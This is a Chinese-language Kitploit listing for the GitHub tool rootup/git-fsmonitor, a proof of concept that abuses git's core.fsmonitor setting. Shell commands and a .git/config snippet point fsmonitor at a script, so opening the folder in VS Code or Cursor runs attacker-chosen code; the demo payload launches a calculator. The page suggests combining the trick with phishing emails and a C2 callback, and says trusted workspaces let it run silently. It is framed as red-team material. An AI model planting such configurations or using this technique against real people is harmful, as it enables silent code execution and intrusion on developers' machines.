Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/rootup/git-fsmonitor
钓鱼工具持久化机制命令与控制社会工程学红队
GitHubrootup/git-fsmonitor

git-fsmonitor

这是利用“fsmonitor”对抗IDE的工作量证明。

查看仓库
49969个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

这是一个已被记录(已知)的问题,但我在研究过程中发现了它,并且它对红队/渗透测试非常有用。

摘要: git 会在每次执行 git status、git diff 等命令时运行 FSMonitor 辅助程序,因此 git 会盲目地启动我们指定路径下的任何内容。我们的 IDE 在打开文件夹时会自动运行 git status 以填充其 SCM(源代码管理)面板;

这使得 git 能够生成配置好的辅助程序,从而执行攻击者控制的代码。这种技术可用于红队行动或假设已被攻破的场景中,配合任何 C2 或我们的 XRayC2 获取回调,从而绕过传统网络防御。(当然,需要发送钓鱼邮件来欺骗最终用户,但在 IDE 中打开文件夹似乎是一个合理的操作。)

证明概念:git clone 本仓库,将以下配置添加到你的 .git 目录下。完成后,用 IDE 打开该构造好的文件夹,计算器应会弹出。(我已在 Code 和 Cursor 上测试过)。此 POC 针对 macOS,请根据你的环境进行修改。

root@kitploit:~
bash-3.2$ cd git-fsmonitor
bash-3.2$ mkdir .git
bash-3.2$ nano .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	ignorecase = true
	precomposeunicode = true
	fsmonitor = ./icons/icons.sh
bash-3.2$ chmod +x ./icons/icons.sh
bash-3.2$ git init
bash-3.2$ git config core.fsmonitor ./icons/icons.sh
bash-3.2$ ls git-fsmonitor-main/.git/
.DS_Store    config       description  HEAD         hooks/       info/        objects/     refs/        
bash-3.2$

在 Code 上测试

root@kitploit:~
Version: 1.106.0 (Universal)
Commit: ac4cbdf48759c7d8c3eb91ffe6bb04316e263c57
Date: 2025-11-11T16:02:25.943Z
Electron: 37.7.0
ElectronBuildId: 12597478
Chromium: 138.0.7204.251
Node.js: 22.20.0
V8: 13.8.258.32-electron.0
OS: Darwin x64 25.1.0

https://github.com/user-attachments/assets/4702aadc-f12d-4380-bc6f-bcd564ddcf96

这是因为我们初始化了仓库,然后将 core.fsmonitor 添加到一个文件中(该文件可以是一个有效载荷)。因此,打开一个文件夹就足以执行你的代码。“大多数”开发者/用户都将 ~/Downloads(以及类似的顶级文件夹)放在受信任的工作区中,因此 PoC 可以静默运行;但如果仓库位于这些受信任路径之外,IDE 会在读取 .git/config 之前弹出“是否信任此发布者?”的提示。

下载工具